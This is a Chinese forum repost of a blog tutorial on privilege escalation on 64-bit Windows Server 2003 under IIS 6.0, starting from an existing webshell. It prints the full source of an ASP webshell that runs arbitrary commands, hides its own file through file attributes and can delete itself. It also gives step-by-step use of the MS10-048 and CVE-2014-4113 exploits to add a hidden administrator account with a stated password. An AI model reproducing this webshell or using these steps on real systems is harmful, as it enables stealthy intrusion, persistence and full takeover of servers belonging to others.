nics 发表于 2018-6-19 13:05:39

Windows x64下提权Exploit整理

0x00    前言
  在CVE-2014-4113出来后,x64环境下的提权又是一片短暂的光明.在此漏洞披露前,PR/IIS溢出/LPK劫持等对64位版本都无效果,网上公开曾有一个Exp有效,代号为MS10048x64.
  本文谨记录x64下可提权的Exp与测试过程.暂不考虑依赖第三方服务(如MSSQL/MYSQL)等的提权
测试环境:  
Windows Server 2003 Enterprise x64 Edition - VL
  
IIS 6.0
0x01    手写一个AspExec先
  在测试提权Exp之前,假使我们已获得一个一句话后门.

  虚拟终端看到权限不足,默默的传一个cmd.exe,设置好变量后可以正常执行命令了,甩上最新的CVE-2014-4113的exp先

  机智的发现没有任何反应,这在ms10048上也有所体现.64位exp提权与32位提权有所区别,32位下存在虚拟终端无参数提权的exp,即使传参,也是通过以下方式执行:
c:\cmd.exe /c c:\exp.exe parms  但是x64下的几个exp则需要这样执行:
c:\exp.exe c:\recycler\server.exe  手传大马可执行Exp,但强迫症的还是喜欢自己动手丰衣足食(亦可以称做重复造轮子XD),kyo327曾在《浅谈在webshell下执行命令》中有所提及,先奉上部分代码窥知一二:
<object runat=server id=shell scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>  
<%if err then%>
  
<object runat=server id=shell scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
  
<% end if %>
  
<%
  
'exec command
  
Dim path,parms,method,result
  
path=Trim(Request("path"))
  
parms=Trim(Request("parms"))
  
method=Trim(Request("submit"))
  
result=""
  
If path="" Then path="C:\WINDOWS\system32\cmd.exe"
  
If parms="" Then parms="/c "
  
If method="wscript.shell" Then
  
    result=shell.exec(path&" "&parms).stdout.readall
  
Elseif method="shell.application" Then
  
    set newshell=createobject("shell.application")
  
    newshell.ShellExecute path,parms,"","open",0
  
    result="Shell.application Execute OK."
  
Elseif method="self.delete" Then
  
    file.attributes = 0
  
    fso.deletefile(file_name)
  
    set fso = nothing
  
End If
  
%>
  以上为借助Wscript.shell与Shell.application两种方式执行命令,为加强一点隐蔽性,加入几行保护代码(只读,系统,隐藏):
<%  
'hidded shell
  
dim file_name
  
file_name = Server.MapPath("./") & Replace(Request.ServerVariables("Script_Name"),"/","\")
  
set fso = createobject("scripting.filesystemobject")
  
set file = fso.getfile(file_name)
  
file.attributes = 1+2+4
  
%>
  最后实现效果如下:

  隐藏属性:

  左上角显示支持组件,右侧path填写执行程序路径(如上传的cmd或exp),parms填写参数(cmd执行需/c参数,exp不需要)
  三个Button分别表示:以script.shell执行命令/以Shell.application执行命令/脚本自删除
  简单的一个示例:

  以上代码在此处开源:
  https://github.com/le4f/aspexec
0x02    MS10048提权
  MS10048的exploit分32与64两版本,漏洞存在于xxxCreateWindowEx()函数创建窗口时的本地权限提升.
  64位环境下可以用以执行***后门或提权,首先拿来K8Team的一个无参数添加用户,通过API添加用户,在删除或禁用net1.exe时亦可直接添加:
用户名k8team$,密码k8team!@#  借助AspExec,可以很方便的提权,上传exp(ms10048.exe)与添加用户程序(user.exe)
Path:   c:\inetpub\wwwroot\ms10048.exe  
Parms:c:\inetpub\wwwroot\user.exe
  注意不需要/c参数,使用wscript.shell或shell.applicatin依具体环境设置而定,以默认(wscript.shell)为例,执行后短暂的延迟:

  查看目标主机用户,添加成功

  至于user.exe替换成别的后门也都类似的.ms10048影响x64版本主要是Windows2003,对于新版系统还是测试CVE-2014-4113吧
0x03    CVE-2014-4113提权
  相较于MS10048,新的exp效果要好很多,Exp同样分32/64两个版本,同样使用user.exe添加账户测试:
Path:   c:\inetpub\wwwroot\64.exe  
Parms:c:\inetpub\wwwroot\user.exe
  上传64.exe(exp)执行后回显如下:

  基本没有明显延迟,很顺利的添加账号

0x04    小结
  以上整理仅为对实际环境模拟测试,顺便写份代码分享;)
  如有错误或不足,还望指点.若有新的Exploit出现,笔者也会及时补充测试.
  From    Le4F'Blog
页: [1]
查看完整版本: Windows x64下提权Exploit整理